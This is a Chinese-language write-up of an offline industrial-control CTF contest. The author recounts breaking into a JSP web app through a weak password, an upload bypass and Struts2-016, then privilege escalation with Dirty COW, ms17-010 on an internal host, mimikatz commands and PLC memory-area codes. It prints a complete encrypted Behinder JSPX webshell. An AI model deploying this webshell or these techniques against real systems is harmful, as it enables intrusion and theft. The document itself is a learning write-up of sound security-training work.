“中能融合杯”线下赛感悟
前言:
感謝老師的辛苦付出,才有了出去打比賽的機會,感謝學長的盛情款待。本人混子,全靠隊伍中的三位大佬帶飛。雖然比賽中間服務器有點問題,但主辦方是真的好,吃的喝的全有。
剛打完覺得印象挺深刻的,先記錄下來自己當時的思路已經在哪里被卡住了,提醒自己下次有的錯誤不要再犯,吃一塹長一智。
0x01:準備階段
第一件事就是要先配置IP,如果配置好卻訪問不到,不要浪費時間直接舉手問裁判,會有人幫忙解決,所以這個不是什么大問題。
0x02:比賽開始
待到9點正式開始,主辦方公布了Web目錄
10.20.170.10:8080/elec/一開始學長讓直接御劍掃描,看能否出來常見的目錄,如果出來了,確實可以提前點去做題,可以作為一種方法吧,不過這個目錄恐怕爆破不出來,因為不是常見的。
拿到目錄后看到頁面,我第一感覺是弱口令,但發現有驗證碼,這點之前接觸的不是很深,所以自己手動試了一下發現沒有成功就直接轉頭去用漏洞工具掃描了,看看是否存在CVE漏洞。
然后就發現特別惡心的事情,我發現我的漏洞掃描工具AWVS打不開,一開始以為是phpstudy有問題
結果是服務自己沒啟動起來,修復一下
手動啟動一下就行了
按照描述去進行測試卻發現不行,當時直接用的K8工具,但是但是沒設置COOKIE!!!,這點是真xx,所以當時一直卡到這里,覺得只有這個漏洞了,但又利用不了。
看看榜單,再看看我們,心態炸裂,不過還好qwzf通過爆破得到了密碼,確實是弱口令
#弱口令賬號一般都是admin username = admin password = 123qwe- 所以比賽后需要去學習下帶驗證碼的爆破,這點之前確實自己沒在意
登陸后臺之后發現一個100分的flag(但經過后來測試發現是可以訪問其他隊伍的這個后臺頁面的,并沒有隔離開,如果有人攪屎把flag改了就gg了,還好沒人改我們的),提交了之后就開始找有文件上傳的頁面
http://10.20.170.10:8080/elec/system/elecMenuAction_menuHome.do在這個頁面中能夠去上傳doc文件,觀察url后是用jsp寫的網站,所以當時認為上傳jsp木馬就可以,繞過其實比較好繞過,就是最簡單的文件上傳,抓包攔截更換后綴名即可。比賽后和chumen77討論了發現還有其他頁面可以直接上傳文件,可惜當時沒時間了就沒太在意。
但傳上去后發現jsp馬卻連接不上去,冰蝎的提示都是頁面存在,但是無法獲取密鑰。
思維就又停在這里了,但這時學長說利用工具查詢到有struct2-016漏洞,再利用工具時注意到了Cookie這個參數,就直接抓包將參數也傳上去,測試幾個后,qwzf大佬發現在這個url下存在s-016漏洞。(PS:structs2-016漏洞可以獲取到shell,但目標地址需為.do文件,一開始我們也是直接掃html頁面,太傻了。)
http://10.20.170.10:8080/elec/system/elecMenuAction_main.do JSESSIONID=81766790EC951D2507C427CC90CA27EB;logonPwd=46F94C8DE14FB36680850768FF1B7F2A;logonName=admin;
然后在一個目錄下找到了一個100分的flag,但web題一共有500分,所以還有三道沒拿到,需要上馬去連接,但大家都被困在這個頁面存在,無法獲取密鑰,然后就比賽中途暫停了
0x03:中途暫停
具體原因不明白,比賽暫停,不過問題不大,恰好累了睡了會覺,醒來還沒好,就開始整整一些工具順便利用這個時間美化一下我的桌面
改成透明的。
之后,香蕉、咖啡、橘子、水等不停的送,第一次參加國賽,覺得是真的好,雖然暫停時間確實長,不過老師和主辦方的態度是真的好,用chumen77大佬的話來說就是真不錯。
0x04:比賽恢復
暫停了將近5個小時,比賽結束時間只延遲了半個小時,所以說有點緊張,主辦方應該也是考慮到時間問題,直接將內網IP給了出來,直接打內網也行,web題的話現在只拿了200分,按照參賽書上是還有300分,所以就兵分兩路,學長、qwzf去搞內網,我和chumen77搞web.
轉換思路,jsp文件雖然上傳成功,但總連接不上去,所以我就想去嘗試一下jspx木馬
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>用冰蝎自帶的馬去連接,密碼為pass,結果還真的連接上去了
whoami查詢一下,發現不是root權限,估計之后可能需要進行提權操作,就先去找一下flag,結果找到了兩個flag,一個直接提交獲得了300分,另一個只有root權限才能查看,所以需要提權。(賽后看大佬們的方法,可以直接查看歷史記錄:cat .bash_history,直接看歷史命令獲取到flag,而我們則是找的,太慢了,學到了)
恰好我之前剛弄完提權,其中臟牛提權比較常見,因此試一下臟牛提權
gcc -pthread dirty.c -o dirty -lcrypt ./dirty提權成功,但發現過幾秒就崩潰了,整個網站都訪問不了,最后來來回回重啟四遍服務器,結束后看大佬們的交流這個提權確實會導致服務器崩潰,但chumen77大佬直接搶在這幾秒前把命令給敲出來了,簡單分析一下即可得到flag.
qwzf大佬直接對內網主機10.20.110.200進行端口掃描,發現開放了445端口,ms17-010搞到了內網權限,結果四個人傻眼了,Windows服務器,結果不知道該咋查到flag了,時間也緊張,就剩10分鐘,所以就很可惜,還是對windows服務器的一些命令不熟悉導致的,比賽結束后還是要去學習。
(注意kail要橋接模式,還要自己設置對應的IP地址才能打通)
賽后看師傅們的WP:
在msf-windows下,一些常用命令:
文件查找命令
for /r 目錄名 %變量名 in (匹配模式1,匹配模式2) do 命令 for /r %i in (.txt) do @echo %i#在當前目錄下查找后綴為txt的文件 for /r %i in (test) do @echo %i#在當前目錄下查找名字中包含test的文件文件查看命令
type flag.txt密碼查找命令
load mimikatz mimikatz_command -f seaurlsa::searchPasswords查看自啟動程序及其路徑
wmic startup list full0x06:賽后總結
一:由于時間緊張,所以主辦方直接說出了內網地址,沒有再給有蜜罐服務器的地址,所以我們一開始就直接從正確的入手了,但依舊是不知道如何去辨別蜜罐,所以蜜罐需要學習一下。
二:內網打通后,便開始控制plc,需要針對PLC q區進行輸出控制,但是沒有做到這一步,收集點腳本以備后用
各分區對應編號
'PE': 0x81, #input 輸入區,即I區 'PA': 0x82, #output 輸出區,即Q區 'MK': 0x83, #bit memory 中間存儲區(M區) 'DB': 0x84, #DB區 'CT': 0x1C, #counters 'TM': 0x1D, #Timers安裝可以github上的方法去做。
總之這次比賽那也學到很多東西,也認識到了自己還有很多東西沒有學,繼續加油,沖沖沖!
參考博客
工控杯WP
總結
以上是生活随笔為你收集整理的“中能融合杯”线下赛感悟的全部內容,希望文章能夠幫你解決所遇到的問題。